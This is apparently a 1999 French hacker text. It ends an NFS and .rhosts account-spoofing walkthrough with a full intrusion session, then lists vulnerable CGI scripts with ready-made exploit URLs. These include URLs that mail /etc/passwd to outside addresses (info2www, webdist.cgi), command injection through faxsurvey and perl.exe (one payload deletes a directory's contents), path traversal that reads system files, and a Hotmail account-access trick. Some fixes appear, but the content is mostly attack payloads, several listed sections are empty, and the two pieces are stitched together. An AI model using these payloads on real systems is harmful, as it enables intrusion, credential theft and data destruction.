• on regarde qui sont les propriétaires des fichiers et répertoires de la partition,
• on crée dans son propre "/etc/passwd" un compte ayant les mêmes UID ou GID,
• on se connecte sur ce compte,
• on crée un fichier ".rhost" contenant l'adresse IP de notre machine dans le répertoire $HOME de l'utilisateur dans la partition NFS,
• on se connecte par "rlogin @IP_machine" et normalement, la machine distante ne doit pas demander de mot de passe pour ce compte.
• Exemple donné dans une doc de hacker. Le répertoire de login exporté par NFS est "/export/foo", le compte à usurper est "guest" et notre machine a pour adresse IP "194.86.157.110" :

 evil# mount victim.com:/export/foo /foo
 evil# cd /foo
 evil# ls -lag
 total 3
   1 drwxr-xr-x 11 root     daemon        512 Jun 19 09:47 .
   1 drwxr-xr-x  7 root     wheel         512 Jul 19  1991 ..
   1 drwx--x--x  9 10001    daemon       1024 Aug  3 15:49 guest
 evil# echo guest:x:10001:1:temporary breakin account:/: >> /etc/passwd
 evil# ls -lag
  total 3
    1 drwxr-xr-x 11 root     daemon        512 Jun 19 09:47 .
    1 drwxr-xr-x  7 root     wheel         512 Jul 19  1991 ..
    1 drwx--x--x  9 guest    daemon       1024 Aug  3 15:49 guest
 evil # su guest
 evil % echo 194.86.157.110 >> guest/.rhosts
 evil % rlogin victim.com
 	 Welcome to victim.com!
 victim %

Recoupement d'informations : cakeii
Validation et correction(s): tobozo
Derniere mise a jour : 04-aout-99
no© Serial Savate System

Le CGI est encore tres populaire sur les serveurs www malgre l'apparition de suites logicielles plus completes sur les serveurs. Pendant que l'ASP et le PHP se font concurrence, le CGI continue a faire son bonhomme de chemin. A l'heure qu'il est, grand nombre de scripts CGI contiennent toujours des vulnerabilites. Certains de ceux qui sont presentes ici ont ete corriges et ne sont plus vulnerables, toutefois il y a encore de nombreux sites qui les utilisent encore. La liste ici presente est loin d'etre exhaustive et des mises a jour sont a prevoir.
Si vous trouvez des complements a cette liste, alors n'hesitez pas a le faire savoir

Table des matieres

• Test cgi's
• HotMail
• TextCounter versions 1.0-1.2 (Perl) and 1.0-1.3 (C++) par Matt Wright (Juin 1998)
• Divers scripts guestbook (Juin 1998)
• Excite Web Search Engine (EWS) version (November 1998)
• Info2www, versions 1.0-1.1
• Count.cgi, versions 1.0-2.3
• Webdist.cgi IRIX 6.2, 6.3
• Php.cgi, multiple versions
• Files.pl, Novell WebServer Examples Toolkit v.2
• Nph-test-cgi, toutes versions
• AnyForm, version 1.0
• FormMail, version 1.0
• Phf
• Omnihttpd
• Pfdispaly.cgi
• Faxsurvey
• Whois_raw.cgi cdomain v1.0.
• Test.bat et perl.exe sur Netscape Serveur
• Htmlscript (www.htmlscript.com)
• Lotus domino server
• Wguest.exe

Test cgi's

HotMail

Les scripts CGI qui sont utilises par (Hot)mail ont un trou de securite qui permet a des personnes non autorisees de rentrer dans le compte email d'utilisateurs et de lire leurs mails. Le probleme affecte des versions de Hotmail qui ont ete mise en place en Decembre 1998.

L'exploit:

La ligne de commande suivante revele l'URL qui peut etre utilisee pour acceder au compte email de l'utilisateur "billg" (billg@hotmail.com)
http://www.hotmail.com/cgi-bin/password.cgi?login=billg&curmbox=active

Le resultat de cette commande est de donner (si et seulement si il est actuellement loggue) l'URL qui permet d'acceder au compte de billg.

Le resultat devrait ressembler a quelque chose comme cela:
http://207.82.252.251/cgi-bin//start/billg/209.185.130.45_d436

TextCounter versions 1.0-1.2 (Perl) et 1.0-1.3 (C++) par Matt Wright (Juin 1998)

Les recentes versions du programme TextCounter (utilise pour donner le nombre de visiteurs d'une page) ne supprime pas les metacaracteres introduits par l'utilisateur. Ce qui a pour resultat de permettre a des utilisateurs distants d'executer des commandes shell sur le serveur. Ceci affecte a la fois les versions Perl et C++.

Voici les deux lignes responsables du probleme:

if (-e "$data_dir$count_page") {
open(COUNT,"$data_dir$count_page");
....
}

Solutions:
Mettre a jour votre version en 1.21 (Perl) ou 1.31 (C++).
http://www.worldwidemart.com/scripts/textcounter.shtml -->Perl
http://www.worldwidemart.com/scripts/C++/textcounter.shtml -->C++

Ou alors changez:
open(COUNT,"$data_dir$count_page");
en
open(COUNT,"<$data_dir$count_page");

Divers scripts guestbook (Juin 1998)

• Utilisent la technologie SSI (Server Side Include) sur leur site web.
• Ont active SSI dans le repertoire contenant le fichier guestbook.html.
• Ont active l'utilisation de TAGs HTML dans leur fichier de setup.
• N'ont pas inclus de mots clef du type "exec" dans leur liste de mots interdits a l'interieur de leur fichier de setup.

• Votre serveur web fonctionne sous root (Personne ne doit faire cela de toute maniere).
• Votre serveur ne fonctionne pas sous root, mais vous avez attribue n'importe comment les permissions sur votre site.

Comme vous pouvez le voir il y a beaucoup de "si" et donc tres peu d'utilisateur sont touches.
Si toutefois vous pensez que votre fichier est vunerable alors je vous conseille de crier a haute et inteligible voix "DON'T PANIC"!

Excite Web Search Engine (EWS) version (November 1998)

Le moteur de recherche Excite enregistre des informations critiques (incluant les mots de passe encryptes d'administrateurs) dans des fichiers qui sont accessibles au niveau utilisateur. Ceci permet a des utilisateur sans privileges d'avoir acces a la partie administration de EWS a partir d'UNIX et de NT.
Il faut noter que ce bug met en danger votre site web uniquement si vous avez le moteur de recherche installe localement. Il n'affecte pas les sites qui ont un lien sur ce moteur de recherche ni ceux bien sur qui y sont references.

Un probleme plus grave a ete trouve sur des versions non patchees de EWS anterieures a Fevrier 1998, (malheureusement, cette version est aussi appelee 1.1).

Exploit:
http://www.insecure.org/sploits/excite_for_web_servers_cgi.html

Solution:
http://www.excite.com/navigate/patches.html

Info2www, versions 1.0-1.1

info2www, qui convertit les fichiers GNU "info" en pages web, ne verifie pas les nom de fichiers fournis par l'utilisateur avant de les ouvrir.
Ce qui a pour resultat de permettre l'ouverture de fichier arbitraire et l'execution de commandes contenant des metacarateres shell. Les versions 1.2 et suivantes sont soit disant sans bugs mais du fait du tres grand nombre de versions du script, vous devriez examiner par vous meme le code source avant de l'installer.
Verifiez aussi les scripts CGI info2html et infogate car apparemment ils proviennent de info2www.

Exploit:
/cgi-bin/info2www?(../../../../../../../bin/mail rudicarell@hotmail.com </etc/passwd)
/cgi-bin/info2www '(../../../../../../../bin/mail jami /cgi-bin/campas?%0acat%0a/etc/passwd%0a

Count.cgi, versions 1.0-2.3

Count.cgi est un compteur de visites, et il contient un gug (stack overflow) qui permet a un utilisateur distant d'executer des commandes UNIX sur le serveur.

Exploit:
http://www.insecure.org/sploits/count.cgi.QUERY_STRING.overflow.html

Solution:
La verion 2.4 corrige ce bug. Elle peut etre trouvee sur:
http://www.fccc.edu/users/muquit/Count.html

Webdist.cgi IRIX 6.2, 6.3

Ce script fait partie d'un systeme qui permet aux utilisateurs d'installer et de distribuer des logiciels a travers le reseau. A cause d'une mauvaise verification des parametres CGI, des utilisateurs distants peuvent executer des commandes sur le serveur avec les permissions du daemon.

Exploit:
/cgi-bin/webdist.cgi?distloc=;cat%20/etc/passwd
/cgi-bin/webdist.cgi?/bin/mail%20:/etc/passwd[me@myhost.com]

Php.cgi, multiple versions

Le script CGI php.cgi, ne devrait jamais etre installe dans le repertoire cgi-bin. Ceci permet a quiconque d'executer des commande shell sur la machine serveur.

Exploit:
/cgi-bin/php.cgi?/etc/passwd

Solution:
Telecharger la derniere version:
http://php.iquest.net/

Plus d'infos:
http://members.tripod.com/~yopyop/exploits/php.htm

PHP fournit aussi les fichier d'exemples mlog et mylog qui contient un trou de securite permettant de visualiser n'importe quel fichier sur le serveur:

/cool-logs/mlog.html?screen=/etc/passwd
/cool-logs/mylog.html?screen=/etc/passwd

Files.pl, Novell WebServer Examples Toolkit v.2

Du fait d'une mauvaise verification des donnees entrantes de l'utilisateur, le fichier files.pl, fournit avec l'installation de Novell WebServer permet aux utilisateurs de voir n'importe quel fichier ou repertoire du systeme, ce qui a bien sur pour resultat de compromettre la confidentialite des documents, et potentiellement de donner au crackers les informations necessaires pour pouvoir penetrer le systeme (niark niark niark...)

Exploit:
http://wanna.be.hacked/cgi-bin/files.pl? ../../ect/passwd

Solution:
Supprimez ce script et tout les autres scripts dont vous n'avez pas besoin.

Nph-test-cgi, toutes versions

Ce script inclut dans de nombreuses versions de NCSA httpd et des daemons apache peut etre exploite par un utilisateur distant pour obtenir un listing des fichiers et repertoires presents sur le serveur.

Exploit:
/cgi-bin/nph-test-cgi?x HTTP/1.0 *
/cgi-bin/nph-test-cgi?* HTTP/1.0
/cgi-bin/nph-test-cgi?x *
/cgi-bin/nph-test.cgi /*

Solution:
Suppression du fichier ou de ses permissions en execution.

AnyForm, version 1.0

FormMail, version 1.0

Phf

Omnihttpd

Pfdispaly.cgi

Faxsurvey

Un utilisateur distant peut executer des commandes sur le serveur avec les permissions du serveur web. Toutes les versions S.u.S.E. 5.1 et 5.2 Linux Dist avec le package HylaFAX installe sont vulnerables.

Exploit:
/cgi-bin/faxsurvey?/bin/cat%20/etc/passwd
/cgi-bin/faxsurvey?/bin/ls%20-a

Whois_raw.cgi cdomain v1.0.

Test.bat et perl.exe sur Netscape Serveur

Il est aussi recommande de ne pas mettre PERL.EXE dans le repertoire CGI-BIN car ceci permet d'executer des commandes PERL directement sur le serveur.

Exemple:
/cgi-bin/perl.exe?&-e+unlink+%3C*%3E Efface le contenu du repertoire. Violent...
/cgi-bin/test.bat?&dir Execute test.bat et donne le listing du repertoire.
/scripts/test.bat+%26dir+%26time+%26abracadabra.exe .... netscape server

Htmlscript (www.htmlscript.com)

lotus domino server

wguest.exe

David Litchfield alias Mnemonic a decouvert un bug dans wguest.exe qui permet a un utilisateur distant de voir n'importe quel fichier texte du systeme. Wguest.exe est un script CGI concu par Webcom Datakommunikation, qui permet aux utilisateurs de signer un guestbook. Le nombre de serveurs affectes est assez important.

Exemple:
input type="hidden" name="template"
value="c:\inetpub\wwwroot\gb\template.htm">

ou
input type="hidden" name="template" value="/gb/template.htm">

Template.htm est la page qui sera affichee grace a wguest.exe apres que l'utilisateur ait entre ses informations.

Exploit:
Sauver la source du doc et changez le path en ce que vous voulez.

Exemple:
input type="hidden" name="template"
value="c:\winnt\system32\$winnt$.inf">
Il clique ensuite sur submit et le contenu du fichier sera affiche.

Ou encore plus rapidement:
/cgi-bin/wguest.exe?template=3Dc:\boot.ini

Il y a aussi le meme probleme avec rguest:
/cgi-bin/rguest.exe?template=3Dc:\winnt\system32\$winnt$.inf

¥õÞÝóþ
24/07/99